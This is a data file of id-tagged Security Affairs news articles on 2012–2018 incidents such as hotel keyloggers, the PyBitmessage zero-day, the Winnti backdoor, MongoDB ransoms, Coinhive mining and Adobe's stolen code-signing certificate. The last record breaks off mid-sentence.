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1331_26623 | US Secret Service and the Department of Homeland Security’s National Cybersecurity and Communications Integration Center (NCCIC) have issued a non-public security advisory in the hospitality industry to warn on the activities of cyber criminals which are compromising hotel business center PCs with keystroke-logging malware to steal personal and financial data from guests., The attackers haven’t used sophisticated techniques to infect the machines in the hotel business centers, they have used low-cost malware, easy to find in the wild and that not need any particular skill in their use., “the attacks were not sophisticated, requiring little technical skill and did not involve the exploit of vulnerabilities in browsers, operating systems or other software. The malicious actors were able to utilize a low-cost, high-impact strategy to access a physical system, stealing sensitive data from hotels and subsequently their guest’s information.” states the US Secret Service., The US Secret Service is inviting the management at hotel business centers to carefully sanitize every machine is provided to guests., “The USSS recommends that hotels in the area be on alert and take immediate action to determine if their business center computers have been infected by similar malware and to conduct a risk assessment of their publicly accessible machines,” the advisory said. , , The advisory, spread within businesses working in the hospitality industry on July 10, reports that USSS North Texas Electronic Crimes Task Force has arrested suspects who have compromised computers in several major hotel business centers in Texas., “In some cases, the suspects used stolen credit cards to register as guests of the hotels; the actors would then access publicly available computers in the hotel business center, log into their Gmail accounts and execute malicious key logging software,” “The keylogger malware captured the keys struck by other hotel guests that used the business center computers, subsequently sending the information via email to the malicious actors’ email accounts,” the warning continues. “The suspects were able to obtain large amounts of information including other guests personally identifiable information (PII), log in credentials to bank, retirement and personal webmail accounts, as well as other sensitive data flowing through the business center’s computers.” states the advisory., Despite personnel at hotel business centers has different solutions to scan its system to detect and remove the keylogger malware, it must be considered that an attacker with a physical access to a system has the ability to perform practically every operation on the machine, for example simple reboot it with a live Linux distro. Almost every defensive system can be easily defeated if users are allowed to insert mobile storage to the targeted machine like CDs or USB Flash drives., The data theft discovered at hotel business centers highlights the importance of physical security in conjunction with logical security, the lack of physical security measures can affect the entire security supply chain., “This particular type of criminal activity highlights the importance of the need for physical and network security to work together as they are dependent on each other,” the release continued. “Physical events can have cyber (logical data flow) consequences and cyber events can have physical consequences.”, The advisory issued to the management at hotel business centers also includes a lists of recommendations to secure public computers, following the principal suggestions., Display a banner to users when logging onto business center computers; this should include warnings that highlight the risks of using publicly accessible machines., Create individual, unique log on credentials for access to both business center computers and Wi-Fi; this may deter individuals who are not guests from logging in., Give all accounts least privilege accesses; for example, guests logging in with the supplied user ID and password should not be able to download, install, uninstall or save files whereas one authorized employee may have a need for those privileges to carry out daily duties., Create virtual local area networks (VLANs) for all users, which will inhibit attackers from using their computer to imitate the hotel’s main server., Scan all new devices (e.g. USB drives and other removable media) before they are attached to the computer and network; disabling the auto run feature will also prevent removable media from opening automatically., Establish pre-determined time limits for active and non-active guest and employee sessions., Select safe defaults in the browsers available on the business center desktops (e.g. Internet Explorer, Mozilla Firefox). Options such as private browsing and “do not track” for passwords and websites are some of the many available., My personal suggestion is to avoid using public computers and networks, cyber criminals are behind you., Pierluigi Paganini, Security Affairs – (hotel business center, keylogger) |
6333_69100 | Bitmessage development team has rolled out an emergency patch to address a zero-day vulnerability in the PyBitmessage client for Bitmessage, which a Peer-to-Peer (P2P) communications protocol used to send encrypted messages to users., The flaw is critical remote code execution vulnerability that according to the experts was being exploited in the wild to steal Bitcoin wallet keys., , According to the security advisory published by the development team developers, hackers exploited the flaw in attacks against users running PyBitmessage 0.6.2., “A remote code execution vulnerability has been spotted in use against some users running PyBitmessage v0.6.2. The cause was identified and a fix has been added and released as 0.6.3.2. If you run PyBitmessage via code, we highly recommend that you upgrade to 0.6.3.2. Alternatively you may downgrade to 0.6.1 which is unaffected.” reads the advisory., The message encoding vulnerability has been patched with the release of version 0.6.3.2. The developers highlighted that PyBitmessage 0.6.1 is not affected by the vulnerability, this means that users can also downgrade their version to mitigate the attacks., According to the security advisor, hackers targeted also the Bitmessage core developer Peter Šurda, his keys were most likely compromised for this reason he has created a new support address., “Bitmessage developer Peter Šurda’s addresses are to be considered compromised.” continues the advisory., Users are recommended to change their passwords and create new bitmessage keys., Šurda speculates the attacker exploited the zero-day to create a remote shell and steal bitcoins from Electrum wallets., “The exploit is triggered by a malicious message if you’re the recipient (including joined chans),”Šurda wrote on Reddit thread. “The attacker ran an automated script but also opened, or tried to open, a remote reverse shell. The automated script looked in ~/.electrum/wallets, but when using the reverse shell he had access to other files as well.”, Bitmessage developers are still investigating the attacks., Pierluigi Paganini, (Security Affairs – bitmessage app, zero-day), , |
558_13584 | Any owner of WordPress site is shaking causes of the threat that someone could steal its credentials, everybody would do well to ask themselves if their passwords are really strong and to make sure to don’t use as username the word “admin.”, The reports published by CloudFlare and HostGator revealed a massive attack being launched against WordPress blogs all over the Internet, the alert is related to a massive brute-force dictionary-based attack that could expose the password for the ‘admin’ account of every WordPress site., “At this moment, we highly recommend you log into any WordPress installation you have and change the password to something that meets the security requirements specified on the WordPress website. These requirements are fairly typical of a secure password: upper and lowercase letters, at least eight characters long, and including “special” characters (^%$#&@*).”Hostgator recommended to its users., CloudFlare CEO Matthew Prince revealed to the Tech Crunch web site that the attackers used a botnet composed of about 100,000 bots and almost every WordPress site on its networks has been attacked., The position of HostGator is not different, the company revealed a structured attack that originated at least from 90,000 different machines., According Sucuri study:, “As you can see from our numbers, we were seeing 30 to 40 thousand attacks per day the last few months. In April 2013, it increased to 77,000 per day on average, reaching more than 100,000 attempts per day in the last few days.” , The situation is critical for various reasons, the exposure of WordPress password could open the doors to the attacker that could hit the web site targeted and in case the password is shared between various web services he could gather the access to further precious information., CloudFlare experts believe that attackers are still arranging their offensive trying to recruit new machine and building a larger botnet to involve a further attack, the security team is convinced that the botnet is actually composed by Home PCs having reduced capabilities., Hosting providers of all the world are implementing measures to protect their assets and customers against the attacks, a good defense could be for example the installation of a plug in that limit the number of login attempts from the same source (e.g. Wordfence Security) and of course it is suggested to adopt strong passwords., WordPress founder Matt Mullenweg declared that another good measure to mitigate the attack is the change of ‘admin’ username., It’s not first time that hackers hit the popular WordPress, in 2012 a flaw in outdated version of TimThumb, a php script for cropping, zooming and resizing web images used as the default by many WordPress templates exposed the community to a serious threat., It’s also suggested to all site hosted on WordPress.com to activate two-factor authentication to improve overall security, other good practices are the use .htaccess to protect the admin area and rename of login pages., Pierluigi Paganini, (Security Affairs – Hacking) |
146_3412 | In recent days, by chance I discussed with colleagues the relationship between the Vatican and Anonymous groups because I consider the Holy See a very attractive target for several reason. A few hours later the site of Vatican went down, while I was writing of the possibility of OpBlackout and regarding the basting operations to discredit the group in terms of media.
As repeatedly noted, hacktivism is not negligible, I believe it is the true phenomenon of the last decade that can change in a radical mode the policies and the choices at the global level of several countries. Contrary to what many think, Anonymous groups as well as stimulate dialogue on the technological effectiveness of many defense systems, focuses on many hot topics for today’s society. For this reason, even against the public opinion, I think Anonymous is an opportunity for the security industry. Of course there is the flip side, the possibility that the group is infiltrated and used for military purposes or operations of intelligence. Given what let’s we see what is happened during the week. In the Internet was published the news of the availability of a release of the “Anonymous” operating system., , , The released distribution is an Ubuntu called Anonymous dedicated to the famous group of hacktivist. The news has had the desired effect, arousing great interest among the many supporters, collecting over 20,000 downloads in less than four days, and while a couple of the comments on SourceFourge indicate that it was a fake, it still has a user rating of 62%, with 37 users giving it the thumbs up, The operating system promises the availability of an arsenal of tools installed and configured to take part in operations of the group while maintaining the anonymity.
When I learned the news I jumped from my chair and immediately I wondered who was behind this operation. Almost immediate response of the Group through the major social networks like twitter, the operating system is a fake., Despite the great success it is foolish to install a release of an operating system just to show an act of faith to a group, whether it’s our PC than you mobile phone. Just this context raises some concern, we have a widespread diffusion of mobile devices, especially among young people, for which there is a widespread practice of jailbreaking. These parallel versions are not controlled and may have been packed with all sorts of malware. Do you drive a car at full speed without control?, But who could have an interest in exploiting the name of the group to disclose an infected version of an operating system? , Narrowing the large series of hypotheses, some of which really fanciful, I believe two are the most likely., At this point if I were a member of the team would commit to thoroughly analyze the version of the popular fake operating system to be able publicly to unmask those behind the operation. In any case I believe that such an analysis is under way by the leading names in security and we will soon solve the mystery., This eventuality would be a coup for the group and reinforce the conviction of its increased technological capabilities., Pierluigi Paganini, |
3264_43649 | Mike Hearn, a senior Bitcoin developer explained the failure of the Bitcoin cryptocurrency as experiment and announced he has stopped working on it and sold his coins., Hearn blamed the community for the failure, according to the expert, it refused to adopt new standards for its grow., Mike Hearn is the former chair of the bitcoin foundation’s law and policy committee, he wrote a blog post titled “The resolution of the Bitcoin experiment” to explain his point of view on the status of the popular virtual currency., “From the start, I’ve always said the same thing: Bitcoin is an experiment and like all experiments, it can fail. ” he wrote. “But despite knowing that Bitcoin could fail all along, the now inescapable conclusion that it has failed still saddens me greatly. The fundamentals are broken and whatever happens to the price in the short term, the long term trend should probably be downwards. I will no longer be taking part in Bitcoin development and have sold all my coins.” , Hearn explained that the decentralised currency lacked “systemically important institutions,” the component of the community with power over the future of the currency is top resistant to change., , Bitcoin is open source software, although anyone can propose changes to its release, but only the core development team composed of 5 people has the authority to implement the changes., Those five have been split for the last six months about how to deal with bitcoin evolution., “Jeff Garzik and Gavin Andresen, the two of five Bitcoin Core committers who support a block size increase (and the two who have been around the longest), both have a stellar reputation within the community. They recently wrote a joint article titled “Bitcoin is Being Hot-Wired for Settlement”., Jeff and Gavin are generally softer in their approach than I am. I’m more of a tell-it-like-I-see-it kinda guy, or as Gavin has delicately put it, “honest to a fault”. So the strong language in their joint letter is unusual. They don’t pull any punches:” wrote Hearn., Gavin Andresen paired with Hearn in August to attempt to launch a fork of bitcoin currency, which would use the same basic code but overwhelm capacity constraints., We are seeing a schism, some are pushing for the new version, called Bitcoin XT, others oppose it and want the old version. Unfortunately, technical reason linked to the miners blocked the launch of the Bitcoin XT., To apply the changes requested in the Bitcoin XT, more than half of the computing power on the bitcoin network has to update their own software. The problem is that only a small portion of Bitcoin users mines the currency because it’s expensive in terms of computer hardware, time and electricity. Consider that two individuals control more than 50% of the entire power of the Bitcoin network., “Why has the capacity limit not been raised? Because the block chain is controlled by Chinese miners, just two of whom control more than 50% of the hash power. At a recent conference over 95% of hashing power was controlled by a handful of guys sitting on a single stage. The miners are not allowing the block chain to grow.” wrote Hearn., “Why are they not allowing it to grow? Several reasons. One is that the developers of the “Bitcoin Core” software that they run have refused to implement the necessary changes. Another is that the miners refuse to switch to any competing product, as they perceive doing so as “disloyalty” —and they’re terrified of doing anything that might make the news as a “split” and cause investor panic. They have chosen instead to ignore the problem and hope it goes away.”, Concluding, Hearn is betting on a congestion of the Bitcoin currency scheme, the impossibility to apply the changes will cause the decline of the project., “The fundamentals are broken and whatever happens to the price in the short term, the long-term trend should probably be downwards”, Hearn concludes., Pierluigi Paganini, (Security Affairs – Bitcoin, Mike Hearn) |
5022_57417 | Security experts at Trend Micro continue to monitor the activities of the Chinese Winnti hacker group, this time the hackers have been abusing GitHub for command and control (C&C) communications., “Recently, the Winnti group, a threat actor with a past of traditional cybercrime -particularly with financial fraud, has been seen abusing GitHub by turning it into a conduit for the command and control (C&C) communications of their seemingly new backdoor (detected by Trend Micro as BKDR64_WINNTI.ONM).” reads the analysis published by Trend Micro., “Our research also showed that the group still uses some of the infamous PlugX malware variants—a staple in Winnti’s arsenal—to handle targeted attack operations via the GitHub account we identified.”, , The Winnti group was first spotted by Kaspersky in 2013, according to the researchers the gang has been active since 2007., The gang is financially-motivated and was mostly involved in cyber espionage campaigns. The hackers were known for targeting companies in the online gaming industry, the majority of the victims is located in Southeast Asia., Malware researchers at Trend Micro discovered that that malware connected to a certain GitHub account in order to get the indication of the C&C servers., The group continues using the PlugX RAT for its attacks along with an alleged new backdoor tracked as BKDR64_WINNTI.ONM., The malicious code checks an HTML page stored in a GitHub project that contains an encrypted string, this string includes the IP address and port number for the Command and Control server., The GitHub project used by the Winnti gang was created in May 2016 and its first usage for C&C communications is dated back August 2016. Experts believe the GitHub account was likely created by the attackers themselves and not hijacked from its original owner., The experts observed nearly two dozen C&C server IP and port combinations in the period between August 17 and March 12. The C&C servers were located in the United States, and two of them in Japan., The recently discovered Winnti backdoor uses a loader that leverages a modified version of a Microsoft registry tool (loadperf.dll) and the WMI performance adapter service in Windows (wmiAPSrv)., The loader imports and decrypts the main payload and then injects it into the svchost.exe. The payload is then loaded into memory., “Abusing popular platforms like GitHub enables threat actors like Winnti to maintain network persistence between compromised computers and their servers, while staying under the radar,” concludes Trend Micro. “Although Winnti may still be employing traditional malware, its use of a relatively unique tactic to stay ahead of the threat landscape’s curve reflects the increased sophistication that threat actors are projected to employ.”, Pierluigi Paganini, (Security Affairs – Winnti gang, cyber espionage) |
6042_66417 | Cryptocurrency companies continue to be a privileged target of hackers, the last victim in order of time is the cryptocurrency mining market NiceHash. The NiceHash marketplace allows users to buy and sell their computing cycles to mine cryptocurrency, the company confirmed it was hacked, attackers stole its entire Bitcoin wallet., “Unfortunately, there has been a security breach involving NiceHash website. We are currently investigating the nature of the incident and, as a result, we are stopping all operations for the next 24 hours.” reads the statement issued by NiceHash., “Importantly, our payment system was compromised and the contents of the NiceHash Bitcoin wallet have been stolen. We are working to verify the precise number of BTC taken.”, , , The security breach has been reported to law enforcement, the company is also investigating the attack., Even if NiceHash did not provide financial data on the security breach, it has been estimated hackers have stolen around $60m., NiceHash declared that it is fully committed to restoring the service with the highest security measures, it doesn’t want to exit from the market due to the incident., The company doesn’t provide further details on the hack, as a precaution it recommends users to change their online passwords., “While the full scope of what happened is not yet known, we recommend, as a precaution, that you change your online passwords.” concludes the statement.“We are truly sorry for any inconvenience that this may have caused and are committing every resource towards solving this issue as soon as possible.”, The security breach was disclosed just hours after NiceHash confirmed its website was down for maintenance., Dear NiceHash user, our service is currently under maintenance. We are sorry for the inconvenience and please stay tuned for updates.Thank you for your understanding., — NiceHash (@NiceHashMining) December 6, 2017, , At the time of writing, The NiceHash website still shows a maintenance page., Pierluigi Paganini, (Security Affairs – Bitcoin, cyber heist) |
5690_62952 | You have to admit that the bad actors are very good at leveraging a vulnerability into a lucrative opportunity. The latest example comes from MongoDB, a popular, open source database commonly deployed for big data applications on the Internet., The default installation for older versions of MongoDB did not force basic security controls such as a password for the administration account. Installed behind firewalls in a “traditional” data center configuration, the default installation is bad practice, but not necessarily a significant risk. Layers of protection mitigate the missing controls., Unfortunately, many cloud hosting providers allow easy installation of MongoDB making it directly accessible from the Internet by default without a simple way to setup the security controls. Strip away layered security controls and do not force basic configuration security and you have a recipe for disaster., “The most open and vulnerable MongoDBs can be found on the AWS platform because this is the most favorite place for organizations who want to work in a devops way,” Victor Gevers told Bleeping Computer. “About 78 percent of all these hosts were running known vulnerable versions.”, In December 2016, one bad actor started compromising vulnerable MongoDB databases. Contents were downloaded and replaced by a ransom note demanding payment in exchange for a return of the missing data. By January, many hacking groups were involved and over 20,000 vulnerable MongoDB installations were compromised. With that many groups in competition, databases were compromised multiple times and ransom notes from one group were replaced by ransom notes from another group. It was unclear for victims who had their missing data and who the ransom should be paid to. Victims paying the ransom were unlikely to get their data back., After this flurry of activity in the first few months of 2016, the number of MongoDB attacks quieted over the Summer. Perhaps the victims had learned their lessons? Maybe they accepted their fate and couldn’t be ransomed again? Maybe the bad actors were taking the Summer off to spend their ill gotten gains? What we do know is that there are still thousands of vulnerable databases. Attacks against MongoDB databases picked up again in September — at a much faster pace. “it took attackers from the first wave of MongoDB attacks nearly a month to rack up 45,000 ransomed DBs. The Cru3lty group managed 22,000 only last week.”, , Obviously, the bad actors have figured out how to script the attacks, but how do they find the targets? The same way most vulnerable systems are found on the Internet, SHODAN. The self-described “search engine for Internet-connected devices” is an easy place to find Internet of Things (IoT) devices. A great place to identify vulnerable web cams, refrigerators, industrial control systems (ICS), web apps and databases. If it is connected to the Internet you can find it in SHODAN. Once you know how to identify vulnerable MongoDB installations, add some scripting magic, exploit, ransom and repeat., “New MongoDB instances which are not indexed by the famous search engine Shodan are not being hit. This means some groups don’t scan themselves but simply use OSINT,” said Victor Gevers, chairman of the GDI Foundation. One of the lead researchers tracking the ongoing exploits., With all of the media coverage and the number of people affected at the beginning of the year, you might expect that everyone has checked and protected their MongoDB installations. But that is obviously not the case. According to a Google Docs spreadsheet maintained by the researchers, the count of compromised databases is almost 76,000. Obviously, the people installing MongoDB aren’t putting in the effort to secure their installations so the MongoDB team is changing their default installs to be more secure. If you are responsible for an existing MongoDB installation, you should check out the official MongoDB Security Checklist to ensure you are protected., , Pierluigi Paganini, (Security Affairs – hacking, ransom attacks) |
2899_41183 | , , , Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter, SecurityAffairs) |
6897_74177 | Security researchers at MalwareLabs have uncovered a new crypto mining campaign that leverages an alternative scheme to mine cryptocurrencies, differently from other campaigns, crooks don’t inject the CoinHive JavaScript miner directly in compromised websites., CoinHive also provides an “URL shortener” service that allows users to create a short link for any URL with, the unique difference with similar services is that it introduces a delay so that it can mine Monero cryptocurrency for an interval of time before redirecting the user to the original URL., The redirection time is adjustable via Coinhive’s settings, this means that the attackers can force visitors’ web browsers to mine cryptocurrency for a longer period., The experts at Malwarebytes discovered a large number of legitimate websites have been hacked by crooks to load short URLs generated using the CoinHive service through a hidden HTML iFrame. With this trick, attackers aim at forcing visitors’ browsers into mining cryptocurrencies., “We detected hundreds of new domains, all legitimate websites that were injected with a blurb of hexadecimal code. Once decoded, it shows as an invisible iframe (1×1 pixel) to cnhv.co/3h2b2. We believe it is part of the same campaign that was exposed by the folks over at Sucuri at the end of May.” reads the analysis published by Malwarebytes., , “The cnhv.co domain name is used for what Coinhive calls shortlinks, essentially a way of monetizing on hyperlinks by making visitors’ browsers solve a certain number of hashes before they reach their destination site. When clicking on such a link, you will see a progress bar and within a few seconds, you will be redirected. Crooks are abusing this feature by loading those shortlinks as hidden iframes with an unreasonably high hash count.”, This mining scheme is a novelty in the threat landscape because it doesn’t leverage on the injection of CoinHive’s JavaScript in the compromised websites., Malwarebytes experts linked this last campaign to the one monitored by Sucuri researchers in May., The attackers add an obfuscated javascript code into the compromised websites, this code is used to dynamically injects an invisible iframe (1×1 pixel) into the webpage as soon as it is loaded on the web browser., The webpage then automatically starts mining until the Coinhive short-link service redirects the user to the original URL., , Experts also discovered that cybercriminals are injecting hyperlinks to other compromised websites to trick victims into downloading cryptocurrency miners for desktops that are disguised as legitimate software., “In this campaign, we see infrastructure used to push an XMRig miner onto users by tricking them into downloading files they were searching for online,” continues the researchers., “In the meantime, hacked servers are instructed to download and run a Linux miner, generating profits for the perpetrators but incurring costs for their owners.”, Further technical details about the campaign, including the IoCs, are reported in the blog post., Pierluigi Paganini, (Security Affairs – Coinhive, crypto currency mining) |
267_6933 | , hacker chest |
2009_34421 | A few days ago, Twitter announced plans to begin tracking users via their mobile phone number, a measure that the company consider necessary in order to fight the trolls. Following the official announcement. Twitter CEO Dick Costolo explained the difficulties the company is facing to prevent the abuse of its platform., “We suck at dealing with abuse and trolls on the platform and we’ve sucked at it for years,” Costolo wrote in a memo obtained by The Verge. “It’s no secret and the rest of the world talks about it every day. We lose core user after core user by not addressing simple trolling issues that they face every day.” said Costolo., Twitter announced the adoption of a series of measures to eliminate harassment and any other behavior that violate company policies, following the CEO’s declaration the company has begun forcing Tor users to provide a number in order to create a new account. The measure is to prevent that ill-intentioned would open a large number of new accounts to use for malicious activities., Those used that will open a new account via Tor will have to provide their mobile number, the information could help Twitter to track trolls., “The U.S. company doesn’t mandate its users to associate their account with a mobile number — that’s optional — but its new security system will use short-term suspensions to get the digits of serial trolls. The idea here is to find something identifiable that can be used to trace them if they open new accounts, as many serial abuses do.” reports a blog post published by TechCrunch website., The users could verify that in order to open a new Twitter account using a common browser it is enough to provide an email address, meanwhile to do the same process surfing through the popular anonymizing network it is necessary to submit a phone number for SMS verification., , Unfortunately, Tor does not enjoy a good reputation in the causes of the many abuses of anonymity offered by its network. Foe example, in December a non-public report realized by the US Treasury Department found that a majority of bank account takeovers exploits the anonymizing the Tor network. We must not forget that the network is a valuable tool to access the network for those who are subject to censorship and fear that revealing their identity can cause serious problems, even endanger their lives., “Forcing all new accounts to provide directly identifiable data — such as a phone number — is a risk to those that need to keep a low profile.” continues TechCrunch., Pierluigi Paganini, (Security Affairs – Twitter, Tor) |
357_9020 | It’s happened again, cyber criminals have stolen digital certificates related to companies recognized reliable to sign malicious code., This time the victim is Adobe and according its security chief, Brad Arkin, a group of hackers have signed malware using Adobe digital certificate obtained compromising a vulnerable build server that was used to get code validation from the company’s code-signing system., The company advisory wrote by Arkin states:, “We have identified a compromised build server with access to the Adobe code signing infrastructure. We are proceeding with plans to revoke the certificate and publish updates for existing Adobe software signed using the impacted certificate,” This only affects the Adobe software signed with the impacted certificate that runs on the Windows platform and three Adobe AIR applications* that run on both Windows and Macintosh. The revocation does not impact any other Adobe software for Macintosh or other platforms.”, , , “Our forensic investigation is ongoing. To date we have identified malware on the build server and the likely mechanism used to first gain access to the build server. We also have forensic evidence linking the build server to the signing of the malicious utilities. We can confirm that the private key required for generating valid digital signatures was not extracted from the HSM.”, The hackers have signed with a valid and legitimate Adobe certificate at least a couple of malicious utilities, a password dumper and a malicious ISAPI filter, the two malicious programs were signed on July 26 of this year., The three affected applications are Adobe Muse, Adobe Story AIR applications, and Acrobat.com desktop services., The Adobe firm has decided to revoke the certificate to issue new ones for legitimate Adobe products also signed with the stolen certificate after July 10, 2012. We must consider that despite an illegitimate use of the certificate, any code and document signed before the revocation date is considerable as valid., An Adobe spokeswoman on the incident stated that the certificate was not actually stolen:, “Adobe has stringent security measures in place to protect its code signing infrastructure. The private keys associated with the Adobe code signing certificates were stored in Hardware Security Modules (HSMs) kept in physically secure facilities. We confirmed that the private key associated with the Adobe code signing certificate was not extracted from the HSM.”, Actually it’s not clear when the breach occurred, the company has discovered that it was re-issuing certificates for code that was signed with the compromised signing key after July 10, 2012, that means that the hackers have been using these files for about three months., It is believed the attackers were planning to use them in a large scale attack due the nature of the signed applications., Events like this raise concerns on the security level of producer source code and on the chain of trust managed to guarantee on code authenticity. The main problem is how many Adobe’s software were signed by the build server?, Adobe did not identify the product exactly but declared that it isn’t one of the most popular Adobe Reader, Flash Player, Shockwave Player or Adobe AIR., Some of the principal security firms have already released detection tools to detect the malware signed with Adobe certificate, Sophos for example has released a tool that identify them as Troj/HkCert-A., Last year was a terrible year for the certification authorities, the number of successful attacks against some major companies reported was really high and totally out of any prediction. Many attacks have had disturbing consequences and it all began, or so we were led to believe, with the case Comodo., Then came other illustrious victims, like DigiNotar, a Dutch certificate authority owned by VASCO Data Security International. On September 3, 2011, after it had become clear that a security breach had resulted in the fraudulent issuing of certificates, the Dutch government took over operational management of DigiNotar’s systems.Few weeks later the company was declared bankrupt., The list is very long …, Why steal a CA certificate? , Malware production – Installation for certain types of software could needs that its code is digitally signed with a trusted certificate. By stealing the certificate of a trusted vendor reduces the possibility that the malicious software being detected as quickly. That is exactly what happened for Stuxnet virus., Economic Frauds – digital signature give a warranty on who signed a document and user can decide if trust the person or company who signed the file and if trust the organization who issued the certificate. If a digital certificate is stolen we will suffer of an identity theft with serious consequences., Some bot, like happened in the case of Zeus banking malware, could be deployed to steal site certificates so that they can fool web browsers into thinking that a phishing site is a legitimate bank web site., Cyber warfare operations– Criminals or governments could use the stolen certificates to conduct “man-in-the-middle” attacks, tricking users into thinking they were at a legitimate site when in fact their communications were being secretly tampered and intercepted. That is for example what occurred in the DigiNota case … companies like Facebook, Google and also agencies like CIA, MI6 were targeted in Dutch government certificate hack., Personally I believe that the attack has with primary purpose the cyber espionage and it is high probably that we are facing with state-sponsored hackers that since now have had the opportunity to spread malicious code recognized as legitimate., For information the certificate revocation will affect the following certificate:, Pierluigi Paganini |
1933_33456 | Security researchers have uncovered a couple of vulnerabilities in the Google Play Store that could allow cyber criminals to install and launch malicious apps remotely on Android mobile devices., The expert Tod Beardsley, technical lead for the Metasploit Framework at Rapid7 explained that attackers can install any arbitrary app from the Play store onto victims’ device even without the consent. This is possible by combining the exploitation of an X-Frame-Options (XFO) vulnerability with Android WebView (Jelly Bean) flaw., The flaw affects mobile devices running Android version 4.3 Jelly Bean and earlier versions, also devices running third party browsers are vulnerable., , The researcher reported that the web browser in Android 4.3 and prior versions are vulnerable to a Universal Cross-Site Scripting (UXSS) attack, meanwhile the Google Play Store is vulnerable to a Cross-Site Scripting (XSS) flaw., In the UXSS attack scenario, hackers exploit client-side vulnerabilities affecting a web browser or browser extensions to run a XSS attack, which allows the execution of malicious code bypassing security protection mechanisms in the web browser., “Users of these platforms may also have installed vulnerable aftermarket browsers,” Beardsley wrote in a blog post on Tuesday.”Of the vulnerable population, it is expected that many users are habitually signed into Google services, such as Gmail or YouTube. These mobile platforms are the the ones most at risk. Other browsers may also be affected.” “Until the Google Play store XFO X-Frame-Options gap is mitigated, users of these web applications who habitually sign in to their Google Account will remain vulnerable.”, The expert provided the JavaScript and Ruby code that could be used get a response from the play.google.com domain without an appropriate XFO header:, “This module combines two vulnerabilities to achieve remote code execution on affected Android devices. First, the module exploits CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in versions of Android’s open source stock browser (the AOSP Browser) prior to 4.4. Second, the Google Play store’s web interface fails to enforce a X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be targeted for script injection. As a result, this leads to remote code execution through Google Play’s remote installation feature, as any application available on the Google Play store can be installed and launched on the user’s device. This module requires that the user is logged into Google with a vulnerable browser.” reads the advisory., To mitigate the security issue:, Pierluigi Paganini, (Security Affairs – Google Android, hacking) |
3188_43124 | China Passes its first Anti-Terrorism law that will have a serious impact on all those companies that want to operate in the country., The Anti-Terrorism law establishes that Operators of telecommunications and Internet services operating in China have to “offer technological assistance and cooperation with security departments to help prevent and investigate terrorist activities,” meanwhile financial organizations should immediately freeze relevant deposits and accounts belonging to suspects of terrorism., Chinese controversial new anti-terrorism law requires tech companies to help the law enforcement and intelligence agencies to decrypt information or hand over encryption keys to officials when the Government needs to spy on suspects., This implies that the Chinese government is requesting companies to provide encryption keys for the services they are offering, but the law wouldn’t require technology firms to install a “backdoor” in their products. A draft of the Anti-Terrorism law previously disclosed called for mandatory backdoor in the product and services of companies operating in China., , Chinese authorities defend the Anti-Terrorism law by saying that the Government og Beijing is simply doing what other Western nations already do to fight terror., “This rule accords with the actual work need of fighting terrorism and is basically the same as what other major countries in the world do,” Li Shouwei, deputy head of the Chinese parliament’s criminal law division, told Reuters., “Providers of telecommunications, Internet, finance, accommodation and passenger transport services should also check the identity of clients,” the law also states, effectively killing off online anonymity., Someone compared the new Chinese Anti-Terrorism law to the US CALEA (Communications Assistance for Law Enforcement Act), which also requests ISPs to support the US authorities in investigating on suspects., The Anti-Terrorism law also limits the liberties of media to “disseminate information on forged terrorist incidents, report on or disseminate details of terrorist activities that might lead to imitation, nor publish scenes of cruelty or inhumanity about terrorist activities.” , The Chinese Government is committing itself in respecting human rights., Anyway, the most worrying aspect of the law is that it allows agents of the People’s Liberation Army to persecute terror suspects also overseas … what does it really imply?, Pierluigi Paganini, (Security Affairs – Anti-Terrorism law, China) |
6282_68620 | , Cryptocurrencies are in the middle of a Tempest, on Thursday India announced it would adopt measures to prevent the use of virtual currencies in the country, the value of Bitcoin dropped below $9,000 for the first time since November. Finance Minister Arun Jaitley, in his annual budget, explained its government would “take all measures to eliminate use of these crypto-assets in financing illegitimate activities or as part of the payment system”., , A week after the security breach suffered by the virtual currency exchange Coincheck, Japanese authorities raided the company., The hackers stole 58 billion yen ($530 million), an amount of money that is greater than the value of bitcoins which disappeared from MtGox in 2014., After the MtGox case, the Japanese government passed a law on cryptocurrencies that assigns to the FSA the tack of regulating the exchanges operating in the country., Coincheck had submitted an application to the FSA for a licence, the company was waiting for the permission., This week, Coincheck announced it will refund about $400 million to 260,000 customers after the hack, the company will use its own funds., Coincheck was founded in 2012, it is one of the most important cryptocurrency exchange in Asia. The company announced it will refund about $400 million to customers after the hack. , Japanese media criticized the company blaming the management to have underestimated the importance of security of its investor, they said Coincheck “expanded business by putting safety second”., On Friday, agents of the Financial Services Agency raided the Coincheck’s headquarters in Tokyo’s Shibuya district with the intent to verify that the company adopted proper security measures to protect its assets., “We have launched an on-site inspection to ensure preservation of clients’ assets,” said Finance Minister Taro Aso., Japan’s Financial Services Agency gave Coincheck until February 13 to investigate the hack, implements additional security measures and “properly” deal with the affected clients., According to Japanese bitcoin monitoring site Jpbitcoin.com, in November, yen-denominated bitcoin trades reached a record 4.51 million bitcoins, or nearly half of the world’s major exchanges of 9.29 million bitcoin., Pierluigi Paganini, (Security Affairs – Coincheck, Security Breach) |
1611_29915 | Australia’s telecommunication giant, Telstra to pay a whopping $18,000 fine for listing the contact information of a Sidney judge in its White Pages. The act violated of the privacy of the judge which is fiercely protected by the judiciary to avoid reprisal attacks by unhappy litigants., According to sources privy to the case, the Sydney judge had contacted Telstra to have a phone line set up for his alarm system, only to discover that Telstra went ahead and published the name, address and the phone number of the line in its online White Pages and in print., In a ruling delivered by the privacy commissioner, the Telco, violated the privacy act by listing the judges’ contact information without his consent, risking the safety of his family in the process. The sum awarded was to compensate for the “stress and anxiety” inflict on the Judge’s family due the careless actions of Telstra., “Telstra’s breach has had serious consequences for the complainant. The complainant has as a result of the breach suffered significant anxiety and distress including I believe a well-founded fear for his physical safety and that of his partner,” ruled the privacy commissioner Timothy Pilgrim., A suspicious litigant affected by the Judge’s ruling was reported seen loitering around the Judge’s property. “As my details and those of my partner are suppressed on every public register, I infer his knowledge of our address is the White Pages site,” confirmed the judge, whose identity was not disclosed due to security concerns. The Sidney judge has since applied for an Interstate transfer due to safety concerns, In a rather weak argument, Telstra blamed the Sydney judge for failure to notify the company against listing his details of the white pages. According to the Telco, details of its fixed line customers are listed on its white pages by default unless the client specifically asked for a silent number., , Furthermore, Telstra evoked a loophole in the privacy act that allowed the company to publish the judge details because directory listing was allowed on its license under the Telecommunication Act., Pilgrim rejected the argument, saying a license condition only outline the activities the company could engage in, but did not constitute a legal obligation on Telstra. In addition, the commissioner noted that a simple non-voice service offered to 